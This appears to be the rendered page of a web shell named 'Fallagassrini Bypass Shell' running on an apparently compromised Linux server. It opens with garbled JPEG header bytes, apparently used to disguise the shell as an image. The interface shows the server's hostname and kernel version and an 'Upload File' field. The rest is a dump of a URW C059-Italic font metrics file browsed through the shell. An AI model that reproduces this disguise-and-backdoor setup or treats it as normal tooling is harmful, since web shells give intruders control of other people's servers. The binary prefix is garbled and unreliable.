JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/fonts/urw-base35/

Linux server.meentosys.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Upload File :
Current File : //usr/share/fonts/urw-base35/C059-Italic.afm

StartFontMetrics 3.0
Comment Copyright (URW)++,Copyright 2014 by (URW)++ Design & Development
Comment Creation Date: 5/17/2017
FontName C059-Italic
FullName C059 Italic
FamilyName C059
Weight Roman
ItalicAngle -15.0
IsFixedPitch false
UnderlinePosition -103
UnderlineThickness 61
Version 1.00
Notice (URW)++,Copyright 2014 by (URW)++ Design & Development
EncodingScheme AdobeStandardEncoding
FontBBox -166 -329 1200 1090
CapHeight 722
XHeight 455
Descender 0
Ascender 0
StartCharMetrics 855
C 32 ; WX 278 ; N space ; B 0 0 0 0 ;
C 33 ; WX 333 ; N exclam ; B 30 -15 316 737 ;
C 34 ; WX 400 ; N quotedbl ; B 100 510 395 732 ;
C 35 ; WX 556 ; N numbersign ; B 33 0 524 686 ;
C 36 ; WX 556 ; N dollar ; B 3 -135 536 792 ;
C 37 ; WX 833 ; N percent ; B 46 0 792 722 ;
C 38 ; WX 852 ; N ampersand ; B 24 -15 773 737 ;
C 39 ; WX 204 ; N quoteright ; B 39 433 230 709 ;
C 40 ; WX 333 ; N parenleft ; B 40 -123 399 736 ;
C 41 ; WX 333 ; N parenright ; B -93 -123 265 736 ;
C 42 ; WX 500 ; N asterisk ; B 34 287 452 704 ;
C 43 ; WX 606 ; N plus ; B 37 2 540 505 ;
C 44 ; WX 278 ; N comma ; B -39 -167 151 109 ;
C 45 ; WX 333 ; N hyphen ; B 32 195 259 278 ;
C 46 ; WX 278 ; N period ; B 17 -15 141 109 ;
C 47 ; WX 606 ; N slash ; B 140 -108 466 722 ;
C 48 ; WX 556 ; N zero ; B 29 -15 527 704 ;
C 49 ; WX 556 ; N one ; B 50 0 459 708 ;
C 50 ; WX 556 ; N two ; B -35 0 508 704 ;
C 51 ; WX 556 ; N three ; B -2 -15 506 704 ;
C 52 ; WX 556 ; N four ; B -8 0 512 708 ;
C 53 ; WX 556 ; N five ; B 4 -15 540 704 ;
C 54 ; WX 556 ; N six ; B 36 -15 547 704 ;
C 55 ; WX 556 ; N seven ; B 69 -15 561 704 ;
C 56 ; WX 556 ; N eight ; B 8 -15 527 704 ;
C 57 ; WX 556 ; N nine ; B 7 -15 519 704 ;
C 58 ; WX 278 ; N colon ; B 42 -15 254 463 ;
C 59 ; WX 278 ; N semicolon ; B -14 -167 261 463 ;
C 60 ; WX 606 ; N less ; B 30 36 621 576 ;
C 61 ; WX 606 ; N equal ; B 36 112 540 394 ;
C 62 ; WX 606 ; N greater ; B -28 36 563 576 ;
C 63 ; WX 444 ; N question ; B 102 -15 417 737 ;
C 64 ; WX 747 ; N at ; B 28 -14 728 736 ;
C 65 ; WX 704 ; N A ; B -82 0 668 737 ;
C 66 ; WX 722 ; N B ; B -31 0 668 722 ;
C 67 ; WX 722 ; N C ; B 40 -15 713 737 ;
C 68 ; WX 778 ; N D ; B -38 0 735 722 ;
C 69 ; WX 722 ; N E ; B -37 0 701 722 ;
C 70 ; WX 667 ; N F ; B -34 0 698 722 ;
C 71 ; WX 778 ; N G ; B 39 -15 763 737 ;
C 72 ; WX 833 ; N H ; B -38 0 867 722 ;
C 73 ; WX 407 ; N I ; B -33 0 431 722 ;
C 74 ; WX 611 ; N J ; B -13 -15 646 722 ;
C 75 ; WX 741 ; N K ; B -40 0 814 722 ;
C 76 ; WX 667 ; N L ; B -37 0 630 722 ;
C 77 ; WX 944 ; N M ; B -26 0 973 722 ;
C 78 ; WX 815 ; N N ; B -48 -14 859 722 ;
C 79 ; WX 778 ; N O ; B 40 -15 735 737 ;
C 80 ; WX 667 ; N P ; B -33 0 663 722 ;
C 81 ; WX 778 ; N Q ; B 40 -188 735 737 ;
C 82 ; WX 741 ; N R ; B -41 -15 691 722 ;
C 83 ; WX 667 ; N S ; B 0 -15 632 737 ;
C 84 ; WX 685 ; N T ; B 40 0 726 722 ;
C 85 ; WX 815 ; N U ; B 93 -15 860 722 ;
C 86 ; WX 704 ; N V ; B 36 -15 772 722 ;
C 87 ; WX 926 ; N W ; B 53 -15 973 722 ;
C 88 ; WX 704 ; N X ; B -73 0 770 722 ;
C 89 ; WX 685 ; N Y ; B 32 0 758 722 ;
C 90 ; WX 667 ; N Z ; B -25 0 667 722 ;
C 91 ; WX 333 ; N bracketleft ; B -33 -108 410 722 ;
C 92 ; WX 606 ; N backslash ; B 89 0 522 708 ;
C 93 ; WX 333 ; N bracketright ; B -83 -108 359 722 ;
C 94 ; WX 606 ; N asciicircum ; B 52 318 554 722 ;
C 95 ; WX 500 ; N underscore ; B -27 -134 473 -73 ;
C 96 ; WX 204 ; N quoteleft ; B 61 461 252 737 ;
C 97 ; WX 574 ; N a ; B 1 -15 523 470 ;
C 98 ; WX 556 ; N b ; B 32 -15 488 737 ;
C 99 ; WX 444 ; N c ; B 5 -15 401 470 ;
C 100 ; WX 611 ; N d ; B 3 -15 586 737 ;
C 101 ; WX 444 ; N e ; B -6 -15 391 470 ;
C 102 ; WX 333 ; N f ; B -68 -202 470 736 ;
C 103 ; WX 537 ; N g ; B -79 -202 523 505 ;
C 104 ; WX 611 ; N h ; B 0 -15 555 737 ;
C 105 ; WX 333 ; N i ; B 27 -14 282 714 ;
C 106 ; WX 315 ; N j ; B -166 -202 317 714 ;
C 107 ; WX 556 ; N k ; B -5 -15 492 737 ;
C 108 ; WX 333 ; N l ; B 16 -15 294 737 ;
C 109 ; WX 889 ; N m ; B 15 -15 837 470 ;
C 110 ; WX 611 ; N n ; B 14 -15 562 470 ;
C 111 ; WX 500 ; N o ; B 5 -15 450 470 ;
C 112 ; WX 574 ; N p ; B -101 -202 506 470 ;
C 113 ; WX 556 ; N q ; B 0 -202 499 470 ;
C 114 ; WX 444 ; N r ; B 9 0 433 470 ;
C 115 ; WX 444 ; N s ; B -1 -15 392 470 ;
C 116 ; WX 352 ; N t ; B 25 -15 329 621 ;
C 117 ; WX 611 ; N u ; B 41 -15 556 470 ;
C 118 ; WX 519 ; N v ; B 34 -16 445 470 ;
C 119 ; WX 778 ; N w ; B 32 -15 708 470 ;
C 120 ; WX 500 ; N x ; B -33 -15 471 470 ;
C 121 ; WX 500 ; N y ; B -79 -202 454 470 ;
C 122 ; WX 463 ; N z ; B -33 -15 417 470 ;
C 123 ; WX 333 ; N braceleft ; B 52 -108 381 722 ;
C 124 ; WX 606 ; N bar ; B 269 -244 337 722 ;
C 125 ; WX 333 ; N braceright ; B -98 -108 231 722 ;
C 126 ; WX 606 ; N asciitilde ; B 41 165 545 327 ;
C 161 ; WX 333 ; N exclamdown ; B -7 -203 280 549 ;
C 162 ; WX 556 ; N cent ; B 61 -135 486 581 ;
C 163 ; WX 556 ; N sterling ; B -8 -15 545 704 ;
C 164 ; WX 167 ; N fraction ; B -104 0 333 708 ;
C 165 ; WX 556 ; N yen ; B 40 0 623 704 ;
C 166 ; WX 556 ; N florin ; B -57 -202 563 736 ;
C 167 ; WX 500 ; N section ; B -11 -150 480 737 ;
C 168 ; WX 556 ; N currency ; B 25 93 530 598 ;
C 169 ; WX 278 ; N quotesingle ; B 114 510 262 732 ;
C 170 ; WX 389 ; N quotedblleft ; B 63 461 432 737 ;
C 171 ; WX 426 ; N guillemotleft ; B -15 85 402 402 ;
C 172 ; WX 333 ; N guilsinglleft ; B 42 85 261 402 ;
C 173 ; WX 333 ; N guilsinglright ; B 40 85 259 402 ;
C 174 ; WX 611 ; N fi ; B -60 -202 564 736 ;
C 175 ; WX 611 ; N fl ; B -60 -202 594 737 ;
C 177 ; WX 500 ; N endash ; B -18 206 518 267 ;
C 178 ; WX 500 ; N dagger ; B 64 -144 518 737 ;
C 179 ; WX 500 ; N daggerdbl ; B -30 -144 528 737 ;
C 180 ; WX 278 ; N periodcentered ; B 77 183 201 307 ;
C 182 ; WX 650 ; N paragraph ; B 88 -144 645 722 ;
C 183 ; WX 606 ; N bullet ; B 132 217 469 554 ;
C 184 ; WX 204 ; N quotesinglbase ; B -79 -167 112 109 ;
C 185 ; WX 389 ; N quotedblbase ; B -79 -167 289 109 ;
C 186 ; WX 389 ; N quotedblright ; B 38 461 407 737 ;
C 187 ; WX 426 ; N guillemotright ; B -17 85 400 402 ;
C 188 ; WX 1000 ; N ellipsis ; B 55 -15 845 109 ;
C 189 ; WX 1000 ; N perthousand ; B -6 -2 1003 700 ;
C 191 ; WX 444 ; N questiondown ; B 7 -203 323 549 ;
C 193 ; WX 333 ; N grave ; B 161 519 351 691 ;
C 194 ; WX 333 ; N acute ; B 187 519 410 689 ;
C 195 ; WX 333 ; N circumflex ; B 152 519 446 688 ;
C 196 ; WX 333 ; N tilde ; B 158 544 486 650 ;
C 197 ; WX 333 ; N macron ; B 170 559 482 610 ;
C 198 ; WX 333 ; N breve ; B 190 518 491 677 ;
C 199 ; WX 333 ; N dotaccent ; B 118 546 216 644 ;
C 200 ; WX 333 ; N dieresis ; B 171 546 471 644 ;
C 202 ; WX 333 ; N ring ; B 230 513 429 712 ;
C 203 ; WX 333 ; N cedilla ; B 3 -216 215 0 ;
C 205 ; WX 333 ; N hungarumlaut ; B 134 519 520 688 ;
C 206 ; WX 333 ; N ogonek ; B 68 -155 245 0 ;
C 207 ; WX 333 ; N caron ; B 182 520 487 683 ;
C 208 ; WX 1000 ; N emdash ; B -18 206 1018 267 ;
C 225 ; WX 870 ; N AE ; B -92 0 870 722 ;
C 227 ; WX 422 ; N ordfeminine ; B 83 442 422 731 ;
C 232 ; WX 667 ; N Lslash ; B -37 0 630 722 ;
C 233 ; WX 778 ; N Oslash ; B 1 -87 735 750 ;
C 234 ; WX 981 ; N OE ; B 36 0 963 722 ;
C 235 ; WX 372 ; N ordmasculine ; B 83 442 372 731 ;
C 241 ; WX 722 ; N ae ; B -18 -15 667 470 ;
C 245 ; WX 333 ; N dotlessi ; B 27 -14 282 470 ;
C 248 ; WX 333 ; N lslash ; B 16 -10 342 742 ;
C 249 ; WX 500 ; N oslash ; B -5 -120 440 548 ;
C 250 ; WX 778 ; N oe ; B 0 -15 720 470 ;
C 251 ; WX 556 ; N germandbls ; B -76 -202 525 736 ;
C -1 ; WX 278 ; N .notdef ; B 0 0 0 0 ;
C -1 ; WX 870 ; N AEacute ; B -92 0 870 947 ;
C -1 ; WX 704 ; N Aacute ; B -82 0 668 947 ;
C -1 ; WX 704 ; N Abreve ; B -82 0 668 935 ;
C -1 ; WX 704 ; N Acircumflex ; B -82 0 668 940 ;
C -1 ; WX 704 ; N Adieresis ; B -82 0 668 910 ;
C -1 ; WX 704 ; N Agrave ; B -82 0 668 946 ;
C -1 ; WX 704 ; N Alpha ; B -82 0 668 737 ;
C -1 ; WX 733 ; N Alphatonos ; B -53 0 697 764 ;
C -1 ; WX 704 ; N Amacron ; B -82 0 668 877 ;
C -1 ; WX 704 ; N Aogonek ; B -82 -155 753 737 ;
C -1 ; WX 704 ; N Aring ; B -82 0 668 966 ;
C -1 ; WX 704 ; N Aringacute ; B -82 0 668 1090 ;
C -1 ; WX 704 ; N Atilde ; B -82 0 668 917 ;
C -1 ; WX 722 ; N Beta ; B -31 0 668 722 ;
C -1 ; WX 722 ; N Cacute ; B 40 -15 713 947 ;
C -1 ; WX 722 ; N Ccaron ; B 40 -15 713 940 ;
C -1 ; WX 722 ; N Ccedilla ; B 40 -216 713 737 ;
C -1 ; WX 722 ; N Ccircumflex ; B 40 -15 713 940 ;
C -1 ; WX 722 ; N Cdotaccent ; B 40 -15 713 910 ;
C -1 ; WX 704 ; N Chi ; B -73 0 770 722 ;
C -1 ; WX 778 ; N Dcaron ; B -38 0 735 940 ;
C -1 ; WX 778 ; N Dcroat ; B -38 0 735 722 ;
C -1 ; WX 667 ; N Delta ; B 33 0 635 688 ;
C -1 ; WX 722 ; N Eacute ; B -37 0 701 947 ;
C -1 ; WX 722 ; N Ebreve ; B -37 0 701 935 ;
C -1 ; WX 722 ; N Ecaron ; B -37 0 701 940 ;
C -1 ; WX 722 ; N Ecircumflex ; B -37 0 701 940 ;
C -1 ; WX 722 ; N Edieresis ; B -37 0 701 910 ;
C -1 ; WX 722 ; N Edotaccent ; B -37 0 701 910 ;
C -1 ; WX 722 ; N Egrave ; B -37 0 701 946 ;
C -1 ; WX 722 ; N Emacron ; B -37 0 701 877 ;
C -1 ; WX 815 ; N Eng ; B -48 -180 859 722 ;
C -1 ; WX 722 ; N Eogonek ; B -37 -155 701 722 ;
C -1 ; WX 722 ; N Epsilon ; B -37 0 701 722 ;
C -1 ; WX 792 ; N Epsilontonos ; B 33 0 771 764 ;
C -1 ; WX 833 ; N Eta ; B -38 0 867 722 ;
C -1 ; WX 904 ; N Etatonos ; B 33 0 938 764 ;
C -1 ; WX 778 ; N Eth ; B -38 0 735 722 ;
C -1 ; WX 556 ; N Euro ; B -29 -15 629 713 ;
C -1 ; WX 667 ; N Gamma ; B -37 0 701 722 ;
C -1 ; WX 778 ; N Gbreve ; B 39 -15 763 935 ;
C -1 ; WX 778 ; N Gcircumflex ; B 39 -15 763 940 ;
C -1 ; WX 778 ; N Gcommaaccent ; B 39 -288 763 737 ;
C -1 ; WX 778 ; N Gdotaccent ; B 39 -15 763 910 ;
C -1 ; WX 722 ; N H18533 ; B 147 67 577 497 ;
C -1 ; WX 500 ; N H18543 ; B 68 178 433 543 ;
C -1 ; WX 500 ; N H18551 ; B 68 178 433 543 ;
C -1 ; WX 833 ; N Hbar ; B -38 0 867 722 ;
C -1 ; WX 833 ; N Hcircumflex ; B -38 0 867 940 ;
C -1 ; WX 1018 ; N IJ ; B -33 -15 1053 722 ;
C -1 ; WX 407 ; N Iacute ; B -33 0 431 947 ;
C -1 ; WX 407 ; N Ibreve ; B -33 0 475 935 ;
C -1 ; WX 407 ; N Icircumflex ; B -33 0 431 940 ;
C -1 ; WX 407 ; N Idieresis ; B -33 0 446 910 ;
C -1 ; WX 407 ; N Idotaccent ; B -33 0 431 910 ;
C -1 ; WX 722 ; N Ifraktur ; B 71 -71 651 698 ;
C -1 ; WX 407 ; N Igrave ; B -33 0 431 946 ;
C -1 ; WX 407 ; N Imacron ; B -33 0 465 877 ;
C -1 ; WX 407 ; N Iogonek ; B -33 -155 431 722 ;
C -1 ; WX 407 ; N Iota ; B -33 0 431 722 ;
C -1 ; WX 407 ; N Iotadieresis ; B -33 0 446 910 ;
C -1 ; WX 473 ; N Iotatonos ; B 33 0 497 764 ;
C -1 ; WX 407 ; N Itilde ; B -33 0 452 917 ;
C -1 ; WX 611 ; N Jcircumflex ; B -13 -15 646 940 ;
C -1 ; WX 741 ; N Kappa ; B -40 0 814 722 ;
C -1 ; WX 741 ; N Kcommaaccent ; B -40 -288 814 722 ;
C -1 ; WX 667 ; N Lacute ; B -37 0 630 947 ;
C -1 ; WX 717 ; N Lambda ; B -87 0 663 737 ;
C -1 ; WX 667 ; N Lcaron ; B -37 0 707 737 ;
C -1 ; WX 667 ; N Lcommaaccent ; B -37 -288 630 722 ;
C -1 ; WX 667 ; N Ldot ; B -37 0 630 722 ;
C -1 ; WX 944 ; N Mu ; B -26 0 973 722 ;
C -1 ; WX 815 ; N Nacute ; B -48 -14 859 947 ;
C -1 ; WX 815 ; N Ncaron ; B -48 -14 859 940 ;
C -1 ; WX 815 ; N Ncommaaccent ; B -48 -288 859 722 ;
C -1 ; WX 815 ; N Ntilde ; B -48 -14 859 917 ;
C -1 ; WX 815 ; N Nu ; B -48 -14 859 722 ;
C -1 ; WX 778 ; N Oacute ; B 40 -15 735 947 ;
C -1 ; WX 778 ; N Obreve ; B 40 -15 735 935 ;
C -1 ; WX 778 ; N Ocircumflex ; B 40 -15 735 940 ;
C -1 ; WX 778 ; N Odieresis ; B 40 -15 735 910 ;
C -1 ; WX 778 ; N Ograve ; B 40 -15 735 946 ;
C -1 ; WX 778 ; N Ohungarumlaut ; B 40 -15 758 947 ;
C -1 ; WX 778 ; N Omacron ; B 40 -15 735 877 ;
C -1 ; WX 842 ; N Omegatonos ; B 0 0 816 764 ;
C -1 ; WX 778 ; N Omicron ; B 40 -15 735 737 ;
C -1 ; WX 805 ; N Omicrontonos ; B 67 -15 762 764 ;
C -1 ; WX 778 ; N Oslashacute ; B 1 -87 735 947 ;
C -1 ; WX 778 ; N Otilde ; B 40 -15 735 917 ;
C -1 ; WX 764 ; N Phi ; B -33 0 792 722 ;
C -1 ; WX 833 ; N Pi ; B -38 0 867 722 ;
C -1 ; WX 921 ; N Psi ; B 67 0 1002 722 ;
C -1 ; WX 741 ; N Racute ; B -41 -15 691 947 ;
C -1 ; WX 741 ; N Rcaron ; B -41 -15 691 940 ;
C -1 ; WX 741 ; N Rcommaaccent ; B -41 -288 691 722 ;
C -1 ; WX 778 ; N Rfraktur ; B 72 -6 693 604 ;
C -1 ; WX 667 ; N Rho ; B -33 0 663 722 ;
C -1 ; WX 1000 ; N SF010000 ; B 467 -250 1000 283 ;
C -1 ; WX 1000 ; N SF020000 ; B 467 217 1000 750 ;
C -1 ; WX 1000 ; N SF030000 ; B 0 -250 533 283 ;
C -1 ; WX 1000 ; N SF040000 ; B 0 217 533 750 ;
C -1 ; WX 1000 ; N SF050000 ; B 0 -250 1000 750 ;
C -1 ; WX 1000 ; N SF060000 ; B 0 -250 1000 283 ;
C -1 ; WX 1000 ; N SF070000 ; B 0 217 1000 750 ;
C -1 ; WX 1000 ; N SF080000 ; B 467 -250 1000 750 ;
C -1 ; WX 1000 ; N SF090000 ; B 0 -250 533 750 ;
C -1 ; WX 1000 ; N SF100000 ; B 0 217 1000 283 ;
C -1 ; WX 1000 ; N SF110000 ; B 467 -250 533 750 ;
C -1 ; WX 1000 ; N SF190000 ; B 0 -250 533 750 ;
C -1 ; WX 1000 ; N SF200000 ; B 0 -250 599 750 ;
C -1 ; WX 1000 ; N SF210000 ; B 0 -250 599 283 ;
C -1 ; WX 1000 ; N SF220000 ; B 0 -250 533 349 ;
C -1 ; WX 1000 ; N SF230000 ; B 0 -250 599 750 ;
C -1 ; WX 1000 ; N SF240000 ; B 401 -250 599 750 ;
C -1 ; WX 1000 ; N SF250000 ; B 0 -250 599 349 ;
C -1 ; WX 1000 ; N SF260000 ; B 0 151 599 750 ;
C -1 ; WX 1000 ; N SF270000 ; B 0 217 599 750 ;
C -1 ; WX 1000 ; N SF280000 ; B 0 151 533 750 ;
C -1 ; WX 1000 ; N SF360000 ; B 467 -250 1000 750 ;
C -1 ; WX 1000 ; N SF370000 ; B 401 -250 1000 750 ;
C -1 ; WX 1000 ; N SF380000 ; B 401 151 1000 750 ;
C -1 ; WX 1000 ; N SF390000 ; B 401 -250 1000 349 ;
C -1 ; WX 1000 ; N SF400000 ; B 0 151 1000 750 ;
C -1 ; WX 1000 ; N SF410000 ; B 0 -250 1000 349 ;
C -1 ; WX 1000 ; N SF420000 ; B 401 -250 1000 750 ;
C -1 ; WX 1000 ; N SF430000 ; B 0 151 1000 349 ;
C -1 ; WX 1000 ; N SF440000 ; B 0 -250 1000 750 ;
C -1 ; WX 1000 ; N SF450000 ; B 0 151 1000 750 ;
C -1 ; WX 1000 ; N SF460000 ; B 0 217 1000 750 ;
C -1 ; WX 1000 ; N SF470000 ; B 0 -250 1000 349 ;
C -1 ; WX 1000 ; N SF480000 ; B 0 -250 1000 283 ;
C -1 ; WX 1000 ; N SF490000 ; B 401 217 1000 750 ;
C -1 ; WX 1000 ; N SF500000 ; B 467 151 1000 750 ;
C -1 ; WX 1000 ; N SF510000 ; B 467 -250 1000 349 ;
C -1 ; WX 1000 ; N SF520000 ; B 401 -250 1000 283 ;
C -1 ; WX 1000 ; N SF530000 ; B 0 -250 1000 750 ;
C -1 ; WX 1000 ; N SF540000 ; B 0 -250 1000 750 ;
C -1 ; WX 667 ; N Sacute ; B 0 -15 632 947 ;
C -1 ; WX 667 ; N Scaron ; B 0 -15 632 940 ;
C -1 ; WX 667 ; N Scedilla ; B 0 -216 632 737 ;
C -1 ; WX 667 ; N Scircumflex ; B 0 -15 632 940 ;
C -1 ; WX 667 ; N Scommaaccent ; B 0 -329 632 737 ;
C -1 ; WX 646 ; N Sigma ; B -67 0 659 722 ;
C -1 ; WX 685 ; N Tau ; B 40 0 726 722 ;
C -1 ; WX 685 ; N Tbar ; B 40 0 726 722 ;
C -1 ; WX 685 ; N Tcaron ; B 40 0 726 940 ;
C -1 ; WX 685 ; N Tcommaaccent ; B 40 -216 726 722 ;
C -1 ; WX 778 ; N Theta ; B 40 -15 735 737 ;
C -1 ; WX 667 ; N Thorn ; B -33 0 624 722 ;
C -1 ; WX 815 ; N Uacute ; B 93 -15 860 947 ;
C -1 ; WX 815 ; N Ubreve ; B 93 -15 860 935 ;
C -1 ; WX 815 ; N Ucircumflex ; B 93 -15 860 940 ;
C -1 ; WX 815 ; N Udieresis ; B 93 -15 860 910 ;
C -1 ; WX 815 ; N Ugrave ; B 93 -15 860 946 ;
C -1 ; WX 815 ; N Uhungarumlaut ; B 93 -15 860 947 ;
C -1 ; WX 815 ; N Umacron ; B 93 -15 860 877 ;
C -1 ; WX 815 ; N Uogonek ; B 93 -155 860 722 ;
C -1 ; WX 685 ; N Upsilon ; B 32 0 758 722 ;
C -1 ; WX 685 ; N Upsilondieresis ; B 32 0 758 910 ;
C -1 ; WX 816 ; N Upsilontonos ; B 33 0 889 764 ;
C -1 ; WX 815 ; N Uring ; B 93 -15 860 966 ;
C -1 ; WX 815 ; N Utilde ; B 93 -15 860 917 ;
C -1 ; WX 926 ; N Wacute ; B 53 -15 973 947 ;
C -1 ; WX 926 ; N Wcircumflex ; B 53 -15 973 940 ;
C -1 ; WX 926 ; N Wdieresis ; B 53 -15 973 910 ;
C -1 ; WX 926 ; N Wgrave ; B 53 -15 973 946 ;
C -1 ; WX 722 ; N Xi ; B -13 0 728 722 ;
C -1 ; WX 685 ; N Yacute ; B 32 0 758 947 ;
C -1 ; WX 685 ; N Ycircumflex ; B 32 0 758 940 ;
C -1 ; WX 685 ; N Ydieresis ; B 32 0 758 910 ;
C -1 ; WX 685 ; N Ygrave ; B 32 0 758 946 ;
C -1 ; WX 667 ; N Zacute ; B -25 0 667 947 ;
C -1 ; WX 667 ; N Zcaron ; B -25 0 667 940 ;
C -1 ; WX 667 ; N Zdotaccent ; B -25 0 667 910 ;
C -1 ; WX 667 ; N Zeta ; B -25 0 667 722 ;
C -1 ; WX 574 ; N aacute ; B 1 -15 523 689 ;
C -1 ; WX 574 ; N abreve ; B 1 -15 523 677 ;
C -1 ; WX 574 ; N acircumflex ; B 1 -15 523 688 ;
C -1 ; WX 574 ; N adieresis ; B 1 -15 523 644 ;
C -1 ; WX 722 ; N aeacute ; B -18 -15 667 689 ;
C -1 ; WX 1000 ; N afii00208 ; B -18 206 1018 267 ;
C -1 ; WX 704 ; N afii10017 ; B -82 0 668 737 ;
C -1 ; WX 707 ; N afii10018 ; B -31 0 694 722 ;
C -1 ; WX 722 ; N afii10019 ; B -31 0 668 722 ;
C -1 ; WX 667 ; N afii10020 ; B -37 0 701 722 ;
C -1 ; WX 784 ; N afii10021 ; B -133 -208 819 722 ;
C -1 ; WX 722 ; N afii10022 ; B -37 0 701 722 ;
C -1 ; WX 722 ; N afii10023 ; B -37 0 701 910 ;
C -1 ; WX 1155 ; N afii10024 ; B -27 -15 1188 737 ;
C -1 ; WX 693 ; N afii10025 ; B 27 -15 680 737 ;
C -1 ; WX 833 ; N afii10026 ; B -38 0 867 722 ;
C -1 ; WX 833 ; N afii10027 ; B -38 0 867 943 ;
C -1 ; WX 790 ; N afii10028 ; B -40 -15 817 737 ;
C -1 ; WX 835 ; N afii10029 ; B -80 -9 869 722 ;
C -1 ; WX 944 ; N afii10030 ; B -26 0 973 722 ;
C -1 ; WX 833 ; N afii10031 ; B -38 0 867 722 ;
C -1 ; WX 778 ; N afii10032 ; B 40 -15 735 737 ;
C -1 ; WX 833 ; N afii10033 ; B -38 0 867 722 ;
C -1 ; WX 667 ; N afii10034 ; B -33 0 663 722 ;
C -1 ; WX 722 ; N afii10035 ; B 40 -15 713 737 ;
C -1 ; WX 685 ; N afii10036 ; B 40 0 726 722 ;
C -1 ; WX 707 ; N afii10037 ; B 1 -15 794 722 ;
C -1 ; WX 764 ; N afii10038 ; B -33 0 792 722 ;
C -1 ; WX 704 ; N afii10039 ; B -73 0 770 722 ;
C -1 ; WX 833 ; N afii10040 ; B -38 -208 867 722 ;
C -1 ; WX 795 ; N afii10041 ; B 62 0 819 722 ;
C -1 ; WX 1166 ; N afii10042 ; B -38 0 1200 722 ;
C -1 ; WX 1166 ; N afii10043 ; B -38 -208 1200 722 ;
C -1 ; WX 805 ; N afii10044 ; B 33 0 771 722 ;
C -1 ; WX 1018 ; N afii10045 ; B -31 0 1042 722 ;
C -1 ; WX 667 ; N afii10046 ; B -31 0 630 722 ;
C -1 ; WX 724 ; N afii10047 ; B 27 -15 685 737 ;
C -1 ; WX 1105 ; N afii10048 ; B -38 -15 1079 737 ;
C -1 ; WX 762 ; N afii10049 ; B -67 -15 796 722 ;
C -1 ; WX 655 ; N afii10050 ; B -37 0 788 949 ;
C -1 ; WX 826 ; N afii10051 ; B 46 -15 792 722 ;
C -1 ; WX 667 ; N afii10052 ; B -37 0 701 947 ;
C -1 ; WX 722 ; N afii10053 ; B 40 -15 713 737 ;
C -1 ; WX 667 ; N afii10054 ; B 0 -15 632 737 ;
C -1 ; WX 407 ; N afii10055 ; B -33 0 431 722 ;
C -1 ; WX 407 ; N afii10056 ; B -33 0 454 910 ;
C -1 ; WX 611 ; N afii10057 ; B -13 -15 646 722 ;
C -1 ; WX 1069 ; N afii10058 ; B -80 -9 1032 722 ;
C -1 ; WX 1057 ; N afii10059 ; B -38 0 1030 722 ;
C -1 ; WX 928 ; N afii10060 ; B 46 0 854 722 ;
C -1 ; WX 790 ; N afii10061 ; B -40 -15 817 947 ;
C -1 ; WX 707 ; N afii10062 ; B 1 -15 794 943 ;
C -1 ; WX 574 ; N afii10065 ; B 1 -15 523 470 ;
